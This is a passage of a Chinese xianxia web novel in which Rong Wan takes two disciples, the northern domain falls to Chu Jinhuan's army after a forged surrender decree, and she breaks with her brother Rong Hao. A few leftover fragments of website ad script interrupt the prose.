下一场,夙昼被排至明日一早。衡游忧心薛沐,赶回夙州。 容晚执伞去了梅林,夙昼负手跟在他身后,替她抬起一枝枝低垂的花枝。 “师父,我错了。”夙昼轻声道。 而容晚不曾答话,她一步步往前走,直至那日的染血之地。 这里一地残花碎枝,雪落了一阵又一阵,早已看不见当日血迹。 “你能骗过容皓,自然能骗过我。说这些做什么?”容晚轻声道:“你自有灵力与传承,心中大事小事又有定数,手段狠厉,杀人不在少数,我还有什么能教你?” “师父。”夙昼摇摇头,他急切道:“我想做您的弟子,我必须做您的弟子!” “我的弟子?”容晚回身掐住他的下巴,猛然将他身子拉低,她问:“你有野心,有谋略,为什么偏要做我的弟子?” 夙昼一时失语,他心中所想必不能言,只是摇头。 “你身负血海深仇,仇敌无数,做我的弟子,是因为我能保你?因为我即是上因上仙,又同落乌君首有故交,还曾在人间——” 容晚猛然住口,她沉声道:“你给我带来了多少麻烦啊。” 我究竟为什么要来这里,为什么要陪你长大? “师父,我不是故意的。”夙昼猛然朝她跪下,哀声道:“师父,您不能不要我。” 他不想再回忆从前。他被迫在一夜之间忘却她,忘却在人间界十年的她。 “师父,我真的听话,从今天开始,我一定听话,您说什么我便做什么,再也不会……” “是么?”容晚松开他,五指化爪,自他胸口取出那颗充斥血灵的琉璃珠。 “我要你毁掉它,你会听话吗?我要你不再复仇,你会听话吗?我要你往后不做三界共主,你——会听话吗?” 夙昼像数年前一样挣扎无助,他狠狠地攥住了地上的残雪。 36. 三千灵阶 风雪不停,花枝攒动。 容晚静立片刻,俯身同夙昼平视,她问:“你究竟想要什么啊?” 雪落容晚发间,她只觉雪沫晃眼,不觉地眨了眨眼。 “当年您说……无论我是要做仙门首座亦或三界共主,您都会助我,对吗?”夙昼攥住容晚的手腕,指尖下是她跳动的灵脉。 “我要做三界共主。” “我要杀尽应死之人。” “我要……” 夙昼喉结滚动了下,他竭力稳住声音,藏住所有不见天光的心绪。 “我想做您唯一的……弟子。” 注视着容晚清冷的瞳眸,夙昼说完最后一句便垂下头来。 冷风一阵阵剐在他脸上,嘲笑他心比天高,痴人说梦。 风雪似乎停了片刻,他几近垂下头向她叩首认错,为那些不该说出口的话。 下一瞬—— 素手扣在他颈肩,将他扶起来。 只听眼前比白日霜雪还要耀眼的女子,轻声道:“这有什么好骗我的。” “师父?”夙昼有些呆愣地望向她。 “三界共主,权势迷人眼。可我不得不争。”容晚哀叹一声,她执着伞往梅林深处走。 夙昼亦步亦趋跟在她身侧。 “你们因为想要,所以去争。而我从来不想要,却一步步不能回头。”容晚自玉牌中摸出一方玺印,随手扔给夙昼,道:“弟子印。” 一方小印,甚是精巧,唯独侧面有一道刻意的刀痕。夙昼越看心中越是欢喜,收进怀中,道:“师父,您回头好不好?” 容晚不明所以,她在风雪落花中回身。 夙昼乖巧地跪于她身前,以灵脉灵元言誓:“自今日起,对您——夙昼永无欺瞒,永不违逆。” “但愿你听话。”容晚的视线划过他如玉面庞,穿过层层梅枝,望向空中漫天大雪,道:“阿昼,我们的路早已走过半了。” 容晚眼前浮现出黑衣青年头戴冠冕的幻梦。 他身着锦衣华服,一手执剑,一手执印,眉目锐利,目光像细密的网洞一般深不可测,千变万化。 忽然脑中一痛,容晚好似听见那位共主说:“师父……” - 三千灵阶向来难胜,入选弟子的第一场次结束得很早。 天下高手竞逐三千灵阶,若想争个高位次,唯有参与定阶会。自然也有一些高手只为守位,以防后来者居上。 午后,夙昼去比第二场次,容晚陪同,一入场便察觉一道不怀好意的目光。 一抬眸,褚尽欢手中的那盆小丑草夺去容晚的注意力,她全然没有心情去看他的脸。 褚尽欢身侧的女子,以黑色面具覆盖大半张脸,但身形偏偏同阿意有些相似。不知用了什么术法,远远望去只能见虚妄的雾气。 “阿昼,那女子是谁?”容晚问。 她向来谨慎,凡是人多眼杂之处,往往会动用先前埋下的传音灵阵。 “褚氏嫡系,极有可能是褚氏的小小姐,褚尽欢的胞妹褚空月。”夙昼回忆着在落乌时看过的籍册,说:“她从不露面,几乎没有人知道她的真容。而且褚空月灵力境界极高,章法神妙,除去当年定阶会定阶,褚空月从未出过手。” “奇怪……”容晚喃喃道。 “什么?” “她在三千灵阶第多少位?” “1237。”夙昼道:“距离她定阶已有数百年,如今实力定然不止于此。” “选她。”容晚拍了下夙昼的肩膀,嘱咐说:“不求赢,只求过招数量,尽可能多过几招。” 容晚隐隐觉得,褚空月是一个极大的变数,不论是上因同落乌战事,亦或是往后三界共主之争。 她抬眸望向雾气中的女子,又瞟过眼下数座灵台的战况,语气中有些急切,说:“现在,立刻去选她。” 夙昼随即消散于容晚身前。 容晚延展灵识,耳边传入褚家两兄妹的声音。 “哥,你怎么一点儿都不着急?我根本没有心思在这里看定阶会好吧!你干嘛非要来?我们明明说好速战速决——” “少言!” “速”字一脱口,褚尽欢抬手在褚空月脑袋上拍了一下,目光霎时间钉向容晚,他微微扯了下唇角,似乎在说“呀,你听见了呀”。 “你先去,我——晚些时候来。”褚尽欢向褚空月交待道,又冲容晚扬了扬手中的小丑草,草叶被他随手碰了几片,无火自燃。 下一瞬,只听灵台仙官清亮的声音传来—— “……夙昼对褚空月……” “哦?”褚空月愣在原地,笑得张狂,道:“敢选我,不要命了?” 偏偏定阶场上以高对低,是她受限。 纵然如此,夙昼越级一千余位挑战褚空月,引起全场轩然大波。 两人互相示礼后,夙昼陡然出招。褚空月知他实力,自然是大小姐脾气,耍着他玩儿。 一来一回,两人倒也过了不下数十招。 可惜大小姐耐性好,她见夙昼不占先势,便不曾一招制敌,省得小孩输得太快,他们俩面子上都不好看。 褚空月招式灵妙,身侧似有似无的雾气扰乱容晚的视线。 容晚于脑内一招招拆解变式,思考如果是她会如何应敌。如若褚空月发挥全部境界实力,她又要如何应对。 毕竟三千灵阶首位是她,可许多高手定阶后便自行退位,不再参与排位。 孰强孰弱,又怎能说得准? “他在去找死吗?” 一道男声轻飘飘落下来,褚尽欢指尖往容晚颈前扣去。 “你找死。”容晚反手起阵,引了一道极小的闪电劈在他手上。 褚尽欢甩开手,在容晚身侧坐下,轻声道:“你想要我死?你不想。” “谁说我不想?”容晚眸光时刻追随着褚空月。 “别看了。”褚尽欢不耐烦道:“那小子肯定输给阿意,看什么看!” 阿意! 容晚正欲问道,便见夙昼将要败下阵来。 眼见夙昼将输,褚空月忽然收住剑风,冷声道:“此子虽不及我,但配得上这一千来位。” 褚空月飞身至灵台,一笔划去自己的名姓,道:“此局我认输。” 全场哗然。 夙昼有些茫然,他怔愣着时,褚空月出手在他肩上垂了下,道:“你很好,我喜欢。” 夙昼:“?” “你有个好师父,关键还是自己刻苦。” 夙昼随即反应过来,俯身一拜,再抬眼时,哪里还能望见褚空月。 定 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阶第1237位,他下意识地去往容晚,这是个好消息,他想…… 望见楼阁之上,一男一女并肩而坐的身影,夙昼咬唇,那颗虎牙刺得他唇瓣出血。 收敛起眉目间的不悦,他提剑飞身而上,蹲于容晚身前,道:“师父,我输了。” 哪怕定阶成功,他还是输了。 “很好了。”容晚起身道:“你还想打第三场吗?” “想。”夙昼脱口而出,又问:“师父的意思是……” “可能来不及。” 两人一人一句,完全忽略掉褚尽欢。 褚尽欢自然是坐不住的,只留下一句:“今夜灵阶宴我有事同你说。” 褚尽欢离开时,容晚眉目微动,毫不在意。 夙昼莫名有些喜悦,他觉得自己好像在尝一瓣极酸的橘子,可虎牙咬出汁水时,又尝到一丝丝甜。 “怎么唇咬破了?”容晚问。她只当夙昼在意输赢,说:“阿昼,你再有天赋,也有人同你一般有天赋,更何况他们比你努力的时间要久,下的功夫自然也要更多。只凭天赋,远远不够。” “我知道。”夙昼浅声道:“可惜我们时间不多了对不对?师父,你……别不要我。” 他再三强调道:“什么时候,都不能不要我。” “好。”容晚微微点头,允诺道:“师父会陪着阿昼,直到阿昼做到三界共主,好不好?” 夙昼对这个答案还算满意,他又问:“那再以后呢?” “再以后啊……”容晚忽然沉默下来。如果夙昼走向注定的结局,那么她会回家。 “我在一日,便陪着阿昼一日,可好?” 夙昼难忍唇边的笑意,他一笑,便露出白齿,两颗虎牙抵着唇,笑得像从前年少不经时,那样肆意开怀。 灵钟一声一声响起,三千灵阶彻底告一段落。晚间的灵阶宴,仙门百家皆出席,各位家主掌门物色上喜欢的弟子,从别家讨要来也是有可能的。 席间觥筹交错,好不欢乐。 连高位处的三界之首面上沾染笑意,容皓自多饮过几杯“浮生醉”,眸中有几分醉意。 褚尽欢一下下地把玩着手中的杯盏,时不时同容皓浅谈几句。而那位人间界名不正言不顺的新君薛铎,只是冷着脸。 容晚的灵识始终笼罩着整个宴席、雪域,乃至北境。 她忽然起身离席,步步往容皓身前走,自容皓案上拿起一杯新酒,祝词道:“首座安好,可否容我今日借一借这灵阶宴的光?” 大庭广众之下,容皓知她所想,也只能应允。 “诸位。”容晚一饮而尽,道:“我自修习仙道以来,未曾收过弟子,偏我也想做个好师父试一试。” 仙门百家哗然,第一上仙首收徒,他们的目光齐刷刷转向自家的徒子徒孙。 听着容晚一句一句地说下去,夙昼只觉浑身血液滚烫,灵脉中涌动着他不知的悸动,等待着她接下来的话。 他想做她唯一的弟子。 “今日,诸位见证,我也算开山立派,收一二弟子。” “夙昼。”容晚朝他招手。 夙昼还未动,便见容晚的眸光落下另一个方向,那个温润清朗的钟氏少主。 她轻唤道:“尽一。” 夙昼只觉心凉如雪。 37. 三千灵阶 他为什么不开心? 容晚赠予两人弟子剑。这两个小徒弟已有本命剑,弟子剑不过是拜师礼。 “谢师父。”钟尽一跪谢。 而夙昼执拗地盯着容晚的眼睛,他忽地笑了一声,跪于容晚身前。她说定阶会上收他为徒,却从未允诺过“唯一的弟子”。 曾经他字字句句地许愿:“我想做您唯一的弟子。” 到头来—— 听到了他的祈愿又如何? “谢……师父。”夙昼道。 赠过弟子剑,容晚未曾多言,嘱咐道:“日后你二人同门兄弟,当勤于修习,不忘本心,不争不斗,永不相杀。”她沉吟片刻,道:“秉承道心,造福三界。” 二人齐声应“是”。 “上仙首徒一事,简直太令人惊喜。本君未曾备礼,略微薄礼赠上仙两位弟子。”褚尽欢一抬手,两方小盒浮于夙昼和钟尽一眼前。 夙昼、钟尽一同他道过谢。 落乌君首已然赠礼,在场仙门百家自是不好不送,场面一时间热闹起来。 容晚实在是不喜欢此类场面,她清清嗓,沉声道:“另有一事,望诸位共同见证。钟氏家主钟鸣——” “容晚。”沉默许久的容皓骤然出声,他在提醒她,此时宣告钟鸣死讯不是好时机。他更是在警告她,不要闹得场面大乱。 “此事……”容晚道:“首座也是知情的。” 容皓眉眼一跳,指尖攥紧酒盏。好一个他也知情,硬生生地将他拖下水来。 如此,纵然有人疑心钟鸣之死,也只知是仙门首座授意,不敢肆意声张。 “前些时日,我得钟氏家主托孤,今日——”容晚走至容皓身前,掌中浮现出钟氏家主玺印和钟鸣的本命剑,说:“钟鸣临终前,请首座代传家主一位于钟尽一。” “临终?”钟尽一清冷的眸染上红色,他哽咽着问:“望师父告知,父亲因何而终?” “此事,我不知当不当讲?”容晚眸光落向容皓,她微微偏头,一言未发,眼神交锋间同容皓博弈。 容皓自岿然不动。 “钟鸣寻仙祖问卦,连求三卦,卦卦为凶。为保钟氏百年基业,自戕谢罪。”容晚此话真假皆有之,她动用仙祖名号,意在威慑众人。 所谓百年,是往后的一百年不倒。 容皓无奈道:“怜光上仙此言无误。” 他若再是沉默下去,容晚必定说出钟鸣是因夙州血案而自戕。 夙州血案,种种内情公诸于世,必定天下大乱,难以收势。 “那……父亲尸身?”钟尽一虽是悲恸,端的仍是谦谦君子态。 “说来惭愧。” 话是如此,容晚哪里觉得惭愧,她指尖轻叩着手中剑鞘,道:“我于落乌遇钟家主,他只说自会有人为他……。”容晚望向怡然自乐正在看戏的褚尽欢,说:“自会有人为他收尸。” 褚尽欢手中一抖,酒盏嘭得砸落在地,他忍受着仙门百家投来的目光,极不耐烦地沉声道:“他早就该死,本君若杀他,还会帮他收尸?” 钟尽一拔剑出鞘,却被容晚一道灵力按了回去,他静静地立于原处,一颗颗泪滑落脸颊。 “君首这是说什么?”容晚难得向他示礼,只说:“自然不可能是君首逼他自戕。” 一字一句刺得褚尽欢头脑发胀,他此次来雪域,随时带着那盆极丑的小丑草,本意是欲将这东西还给容晚,每逢有机会时,又下意识地不想还。 他一片片碰着那些无风自燃的叶片,抿着唇不说话。 小丑草? 夙昼下意识望向那盆草,那夜,他以容晚形貌入落乌,亲眼看见这颗小丑草伸出密密麻麻的触须,将钟鸣缠绕起来,不过方寸间,钟鸣消失得干干净净。 那株草再缩回去,叶片泛着细碎的血光。 “逼他自戕?”褚尽欢气极生笑,他一步步走至容晚身前,说:“我要杀他,何至于自戕?” 褚尽欢离开时,经由容晚身侧,他的声音很低,说:“容容,你想要钟氏做助力,很聪明。可是,你扯我下水,太蠢了。” “也许吧。”容晚望向他酒案上的那株小丑草,掩下眸中谋算,问:“君首落东西了。” “什么?”意识到是那株小丑草,褚尽欢道:“不要了,本君还赠给上仙。” “是吗?”容晚几乎按耐不住笑意,稳住声音说:“会不会藏了什么见不得人的东西,君首急于脱手?从前君首甚是爱护……” “爱护?再爱的……也会有不爱的一日。”褚尽欢赌气道:“是,藏了见不得人的东西,上仙可得小心些。” 褚尽欢话中句句带刺,容晚却不觉难过。钟鸣尸身一事,很快便她可以脱手了。 至于钟氏百年不倒,容晚百般考虑,唯有一法可解。在夙昼得知真相前,给他们一些相处的时间,同门之谊足以留钟氏百年。 褚尽欢提早离席,仙门百家稍有说辞,也未曾多言。 众人同贺之下,钟尽一自容皓手中接过玺印和钟鸣的本命剑。他眼中神色晦暗难懂,似乎不太伤心,似乎欣喜之意更浓。 容晚只当自己看错。 她顺势同容皓祝酒词,随意将那盆小丑草拿起来,仔细端详后,揣在手中,道:“哥哥可还记得此草?” “不。”容皓不满她今夜所为,脸色自然不大好看。 钟鸣之死闹得仙门百家人心惶惶,不论是她授意还是褚尽欢所杀,都此事必将成为三节战事的导火索。 次日,三千灵阶宴大摆三日。夜宴食羹祝酒,白日里百家子弟一同骑射、猎兽、铸器、比剑。 不同于定阶场上事事以胜为先,只为寻欢作乐而已。 褚尽欢因昨夜争执的那几句,今日便不曾出现,倒是在场的褚氏子弟颇多。 容皓得上因宫几道急诏,连夜离开雪域。 对此,容晚不得不生疑。她的灵识延展、扩散,笼罩着整个北境。 除去灵阶宴的喧嚣,万籁俱静,雪一片片地落下,毫无奇怪之处。 夙昼被容晚催促着骑射一来回,他跳下马,一路朝容晚所在走来。 “师父。”他搁下手中弓箭,饮尽杯中温酒,说:“我骑射不好,没猎到什么灵兽。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “无妨。”容晚问:“褚尽欢赠的拜师礼是什么?” “夜符。”夙昼道:“从前我在杀域时,跟着我的那一拨杀域暗卫。” “奇怪,他送这个做什么?那钟尽一呢?他的是什么?” “不知道。” “罢了,等他回来再问。”容晚抬手自灵火炉上执起酒壶,为夙昼斟满温酒,说:“怎么一直站着?” 夙昼坐下来,握着酒盏愣神,他问:“师父,您为什么要收他为徒?” 容晚心细,只道:“你在介意。” “我、我没有……”夙昼垂下眼眸,又猛然抬起,语气低落,像同容晚妥协一般,道:“是,我介意。我明明……” “你明明说过想做我唯一的弟子,但我没有满足你的愿望,对吗?”容晚抬手,布下层层灵阵,将他二人所在之处笼罩得毫无空隙。 “愿望不是一定会被满足的。”容晚道:“我杀钟鸣,是他该杀。错处大概是越过禁狱,我私自动手。” 容晚耐着性子同这个二十来岁的青年解释道:“至于钟尽一,他并非钟鸣亲子,我扶持他做家主,他以整个钟氏为我们做助力。夙昼,在更远大的利益面前,很多愿望是需要被牺牲的。” “如今,你失去的只是我‘唯一的弟子’这个名号,其他的呢?我们得到的更多。” “您的急切,是因为战事迫近了吗?” “当然,你要知道,从战事里争上高位,很难。” 耳边久久没有声音,容晚望向远处雪原上的一群群少年子弟,他们正值年少,弯弓射箭,出剑解阵,肆意玩闹,好不欢乐。 这样的时日大概不多了。 “阿昼,去玩一会儿吧。”容晚道:“玩什么都好,你从小在人间界张大,上因的宴会对你来说是有趣的。” “好。”夙昼的白衣在容晚身前一划而过。 他在雪原上同其他人一起追捕灵兽。 他同他们一起比试谁的阵印符文最是难解。 他骑着硕大的冰原兽,衣袍带风,同他们一起在冰湖上疾驰。 他们玩累了,又聚在一起,将打来的猎物起火炙烤,围着盛大的篝火随地而坐。 他们有的裹着大氅,有的衣着单薄,衣袍服饰各色形制,三界内藉藉有名的世家子弟齐聚一处。 他们从不在意三界之别,世家之仇,一起欢呼,一起大闹,吃过炙肉,喝过温酒,一群人醉醺醺地比起了剑。 虽是比剑,却不见剑光。他们歪歪扭扭地挤在一起,团成一团躺在地上。 各家家主对此自然是脸色不好看的,毕竟吵吵闹闹有损家风,却也只能冷着脸看着弟子们玩闹。 容晚望着夙昼欢呼呐喊的声音,耳畔能听见他兴奋的呼吸声。他的衣裳早已沾了一滴雪,又同一群人又玩过碳火,身上乌漆嘛黑,在茫茫雪原里甚是显眼。 忽然—— 天边血红色的雾气汹涌而来,映得雪原如虹。人群之中爆发出惊恐的叫喊声,远处奔腾而来的巨魔兽正越过雪原…… 容晚骤然起身,她望见北境大阵一点点失去光芒。 38. 血溅山河 北域雪原一望无际,不灭鬼火在冰面上熊熊燃烧。 先前互相玩闹的世家子弟、对立静坐的各家家主,陡然间冷剑出鞘,互攻互伐,剑光血光漫天。 滚烫的热血喷溅,融化冰雪,顺着冰河冰湖蜿蜒而下,杀伐之声不绝于耳。 血红色的阵印拔地而起,一道道墨色身影从天而降,不以数计的兵卫魔兽怒吼着冲向雪域。 “弃雪原!雪原难守!传明氏家主令,弃雪原!退守雪域!” “弃雪原!退守雪域!” 众人退守雪域,北域十三州各家子弟死伤无数,他们依靠着城内的长墙街道,喘息着休息。 莫说世家子弟,如今在任的许多长老也未曾经历过战事,怎会不恐慌?但他们并非毫无准备。 雪域周边,容晚早已同十三州诸位长老,夜以继日地布下数道阵印,堪堪阻挡住落乌行军。 一墙之隔,巨魔兽的嘶吼声震天动地。众人心知肚明,北域十三州已是上因界弃子。 可他们绝不会弃! 有人攻城,便有人守城。今日有人破一城,来日必有人夺一城。 望向城楼之上的那一抹血色的身影,他们自知有人守城,有人未弃北域。 十三州子弟凡是能起身、灵力未尽的善弓弩者,齐齐飞上城楼,一批顶替一批。 善灵阵符文的家主长老,起手结印,硬撑雪域大阵。 战火纷乱,炮火声嘈杂,众人无心言语,唯有一女子掷地有声的诘问句句同风雪一起落下来。 她衣裙之上沾染血迹,在茫茫落雪中红得夺目。 “是谁撤北域大阵?是你?”容晚手中的冷剑横于绯泉颈前,剑锋没入皮肉,血痕顺着衣襟往下落。 “上仙为何不信,是首座啊。”绯泉弯唇笑道,他的眸光落向一旁跪倒在地恸哭的碧落,轻声道:“妹妹别哭。” “哥哥!你同上仙说实话!她绝不会冤枉你的。”碧落哭道。她被绯泉颈边的鲜血刺得心痛。 “容皓绝不会撤北域边防大阵。”容晚冷声道。她的灵识越过雪原,直往上因诸多边境,哀声叹道:“上因边境数百起战事,容皓没这么蠢。” 她手中剑刃再深三分,“你为什么这么做?” “为什么?”绯泉掌心浮现一道诏书,他不顾颈前利剑,往容晚身前走去,说:“北域十三州必败,上仙何不大开城门,以免伤亡?” “他要我这么做?”容晚垂下眼眸,道:“好啊,北域失守,守将以死谢罪。他要我死,那我不得不死?” “不可以!师父!”夙昼撤下手中阵印,跪于容晚身前,他牵住容晚沾血的云袖,指尖被染的鲜红。 “我来守城!”夙昼抬手去抢绯泉手中的那道诏书,怒喊道:“开什么城门?绝无可能。” “阿昼,听话……”容晚无奈地唤他一声,只见他眼中的泪光再也盛不住,汹涌地溢出来。 “我怎么可能会让你替我,更何况,还没有到大开城门的地步。” “怎么没有啊?”绯泉哀声叹道:“上仙,城门必开!北境十三州必败!未免杀戮,只能开城门啊!” 他说着泪盈眼眶,反手打落容晚手中利剑,拿着那道诏书,飞身而越城墙之上。 诏书化为光影,浮现天幕之上。 “首座急诏,由我守北域十三州。第一令。北境易攻难守,未免伤亡,我以守将之名大开城门!” 一道金光密钥自绯泉掌心飞出,雪域城门不攻自破。 “你疯了!”容晚抬手去抓绯泉,却被碧落扯住衣袖。 “上仙,这大概……是哥哥想做的事。”碧落紧紧抱住容晚,她以浑身灵力牵制容晚。 “北域十三州——献降!” “绯泉!”容晚挣开碧落,闪身去捉高墙之上的绯泉。 绯泉扔下那道诏书,轻飘飘地向后仰倒。他自城楼而落—— “找什么死?”容晚抓住绯泉的衣襟,她正欲拉他上来。 与此同时,城楼之下,褚尽欢隔着千军万马,望向风雪中救人的容晚。他淡然地吐出一个字:“弓。” 褚尽欢拾箭弯弓,瞄准城楼之上坠落的两人。 霎时间——三支鬼火光箭穿云飞来。 “师父!小心!” 眼见容晚避之不及,夙昼扑过去,挡在她身前,一手揪住坠落的绯泉,另一手推开容晚。 褚尽欢眸色一暗,他微微偏头,那三支箭似乎有生命一般,一支直冲绯泉,两支直冲夙昼。 极为短暂的一霎那—— 容晚飞身拦住最快的一支鬼火光箭,她握住箭矢的手在鬼火中燃烧,痛至神魂。 “哥哥!” “阿昼!” 鬼火不灭,可烧尽神魂。 手中那支箭痛得容晚丢不开,她任由鬼火缠身,将两人一起救上来。 望见这一幕,骑着巨魔兽的褚尽欢冷然失笑。他抬手一挥,道:“入雪域。” 事已至此,容晚再无能为力。她身上的鬼火忽然灭了,而夙昼与绯泉心口的两只箭直射灵脉。 容晚闭了闭眸,鬼火光箭是褚尽欢独门秘术,哪怕他亲自来也无济于事。 她解不了。 碧落正扑在绯泉身边恸哭,她扶在他身上哭得伤心,喃喃道:“哥哥,对不起。对不起……” 两人身上的箭忽然燃起熊熊鬼火。容晚猛然拉过碧落,将她定于原处。 可是—— 下一瞬,夙昼在妖异的蓝色鬼火中睁开双眸,他身上的鬼火顺着灵脉,一步步流向灵元处的血灵珠。 连带绯泉身上的鬼火一点点被吸收。 容晚探过二人的灵脉,悲喜交加。夙昼身上的无数血灵为他留下一条性命。 可绯泉…… 碧落静静地环着他。 容晚捡起那道坠落在地的诏书。数印齐全,可唯一的错处便是——容皓绝不会批这道诏书。 她忽然想起,那日上因宫前,绯泉眉目含泪,冲她行过的数礼。 礼礼求碧落平安。 风声呼啸,暴雪忽停,天边蓦然划过一道光。 仙门首座连发罪己诏。 “虚伪。”容晚嗤笑道。她回望着茫茫雪原上的残血,不过片刻,鹅毛大雪纷纷扬扬地遮掩干净。 下一瞬,容皓踏空而来,他落 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在容晚身侧,抬手抢过那道诏书。 细细看过后,他冷笑一声,“私下诏书。”又瞥过一眼绯泉的死相,说:“死得其所。” 闻言,碧落的眼眸中燃起火焰,她刚欲开口。容晚一道目光落过去,碧落带着绯泉消散于原处。 望见夙昼倚在城楼上的身影,容皓随手扔出诏书,道:“绯泉战死,哥哥会升他仙职——” “有用吗?”容晚不愿同他说话,俯身扶起夙昼,问:“阿昼,能自己走吗?” “我……”夙昼迟疑一瞬,道:“灵力爆冲,走不动……” “呵——”容皓品味着这个亲昵的称呼,他忽然拦住容晚道:“你这些时日,拉拢钟氏,又去人间界争权,都是为了他?” “哥哥,多谢你。” 容晚这一句,毫无来由,容皓回问:“谢什么?” “若不是你提起来,我快忘记了人间界的权还没拿到手。”容晚道:“你记得,你想要人间界,我不会帮你争。因为我们要争。” “你是要同我划清界限?”容皓攥住她的手腕,质问道:“你要同哥哥——” “你不配了,容皓。”容晚只觉过往温情在权势面前不堪一击,她声音哽咽道:“经此一战,北域大阵已合,境内落乌兵力不过是瓮中之鳖。你又借刀杀人,杀尽上因界内对你不服者、勾结落乌者。你得到的还不够多吗?” “晚晚向来知我心中所想啊。”容皓情绪再难自抑,他陡然松开容晚,愠怒道:“你可知我是为了谁?” 此时城楼之上再无他人,容皓撕碎那副高高在上的端方姿态。 他出剑直指夙昼,怒道:“一个玩物,你居然为了他去死斗场?好一出‘太子假死’的戏码,闹得三界皆知。要不是、要不是为了你——” 容皓喉间哽咽,他再没说下去。既然她不知,那便不解释了。 他还是不愿她知道。 北域的暴雪又顺着冷风落下来。 容晚只觉得他的脸、他的野心越发陌生。 “容皓,无辜者于你如蜉蝣,一捏即死。你看一看雪原上的血,如若北域大阵不开呢?可还会有这么多血?” “不开又如何?褚尽欢强攻,破阵不过数时。我不兴战事,战事便不起吗?” “是,总是要起的,你们都这么说。” 容晚指尖一直扣在夙昼的灵脉上,他灵脉不稳,急需去找衡游。方才她递过传音,想来衡游已到。 “从今往后,你做你的仙门首座,而我只做我自己,不再做上仙了。”容晚拽下腰间的玉牌。 这是她飞升上仙时,容皓所刻,交由仙官载册后,便一直挂在她身上。 想到玉牌中杂七杂八的东西,容晚手抖了一下,她随手摘了夙昼的玉牌,不过几瞬。 一枚空荡荡的玉牌被她摊在掌心,朝容皓递过去。 容皓自然不曾接过,他笑得极轻,似乎风声都能掩盖住,他问:“晚晚,你是连哥哥也不要了?” “要的。”容晚道:“但我不要如今的仙门首座了。” 玉牌坠地,怦然四碎。 清脆的碎玉声划得容皓心中一痛,她不要他了。 39. 血溅山河 北域十三州献降后,褚尽欢入主。 容皓先发罪己诏,后自罚百道天罚,连签数道诏书,正式挥师下界,讨伐落乌,意在夺回北域十三州。 如今上因、落乌、人间三界对立。 对于容皓和褚尽欢而言,他们永远顾忌彼此,他们互相忌惮,生怕自己先行攻伐人间界,为对方做嫁衣。 这些时日,上因同落乌界战事频发。 于公于私,容晚再无理由参与两界争斗。她没再见过容皓,就算费劲口舌也是无济于事。而褚尽欢向来一意孤行,容晚拦不住他。 既然有心无力,容晚只能把目光落向人间界的新君——坐山观虎斗的薛铎。 他尚且年轻,皇位来得名不正言不顺,手中的玺印又是仿造。他弑君杀父,做不得人间九五之尊。 “师父,我回来了。” 门扇开合,夙昼一袭黑衣,他指尖勾着两盒桂花糕。哪知一入门,便望见人间小院的侧屋里,同薛沐站在一处的钟尽一。 他收敛眸中的暗色,望向坐于庭院无花果树下的容晚,扯起唇角笑道:“这是人间界最有名的桂花糕。我小时候,母亲每回去王城都会买给我,师父尝尝?” “好。”容晚打开包装繁复的锦盒,小巧精致的淡黄色糕点上,点缀着金黄的桂花。 这些糕点,容晚吃过的。夙昼小时候每次得到两盒,便会巴巴地跑来送给她一盒。 他如今应当不记前尘,只是同师父分享最喜欢的糕点。 在夙昼希冀的目光中,容晚尝过一口,便搁下了,她问:“薛铎手中兵力多少?他能驱使薛氏长老,手中定然有家主玺印。” “不好吃吗?”夙昼答非所问。 他望见容晚的神色如常,但那道审视的目光落在他脸上,让他莫名想起那句话,容晚问他“什么时候想起来的?” 大概是一开始吧…… “味道和从前一样。”容晚将那块桂花糕一口一口吃下去。她吃得很慢,渐渐眼神放空,不知在望什么。 她说从前?有他的从前吗? 夙昼不会相信,他从玉牌中一册册掏出人间界宫廷密辛。 先前搜罗来的王城布防、边境布防甚至是王城之内的密道机关,容晚只是草草扫过几眼。 那日她支着下巴,语出惊人,说太子薛辞身世有疑,要夙昼去搜集王室宫廷秘辛。甚至她还要求,上至先王先后,下至薛铎那不满三月的儿子。 情.事、野史,甚至宫人偶有传言者,通通不能放过。 直到籍册堆满桌面,三四张方凳,仍是放不下。 “这么多?”容晚惊道。 “师父,还有呢。这里……”夙昼颇为难耐地抿了下唇,说:“不过冰山一角。” “你没有挑一挑?” “是师父不挑剔。连薛弃闲哪时哪日同哪位妃嫔……的记录都要看。加上其他的薛氏子弟,真的是太多了!” “……” “我听您的话,从薛辞出生那一年开始搜集的。”夙昼一本正经地胡说八道,偏偏脸上又忍着笑。 “都过来!”容晚侧过脸,朝着屋内玩仙魔棋的三个人唤道。 “不来!”衡游正玩得热火朝天,哪里愿意出来。 “师叔,尽一认输。”钟尽一起身后,衡游不情不愿地跟出来,“就你听话。” “师父,您快点儿吧!”薛沐推着衡游出来,一望见院中浩如烟海的书册,惊道:“师叔诶,您这是忽然爱上看书了?” 毕竟上因界谁人不知,第一上仙打架、铸器、比剑样样都行,唯独不甚喜欢侍弄文字。当年在仙学的时候,她总是买图册上学。几位师长罚过她好几回,后来不了了之。 “不啊。”容晚淡淡道:“我们一起看。” 她抬手一挥,几张方凳绕着琉璃圆桌排开,桌子骤然变得更大。 夙昼最先坐下,一本本地翻看着。他看得极快,同太子薛辞无关的内容几乎是跳着看。 “上仙能不能不看啊?我想去捉蛐蛐儿。”薛沐委屈道。 “冬天哪里有蛐蛐儿?”容晚手中幻化一把戒尺,在他脑袋上敲了一下,道:“快看。”又看向坐在那扣手的衡游,怒道:“阿昼和尽一都看完一册了,你还在这玩手?” “实在是……”衡游脸色沾上红晕,为难道:“《人间界王室宫廷密辛之薛弃闲和他的嫔妃们》?容晚,你想干嘛?” 容晚:“……” “哇!”薛沐翻过好几册,感叹道:“我们家的事儿我怎么都不知道啊?有趣。皇太子同小殿下之间不可说的二三事。” 众人都在翻看书册,好在这些籍册通篇白话,看起来并不慢,反而很有趣。 时间紧,籍册多,衡游摸出一件灵器,扔向上空,笼罩着整个小院。 这是他和容晚合力绘图、锻造,当年他俩为补课业做的作弊灵器。其间的时间流逝,一刻为外界一日。 时间流淌,众人一册册看过去。 快要结束时,衡游趴在桌上睡得正香。他向来喜爱看学术类的籍册,越是枯燥越是喜欢。这些密辛趣闻看得他头大。 薛沐颇有兴趣,他一册册地翻过去,无趣的一概不看,趁机插进夙昼或者钟尽一的书堆里。 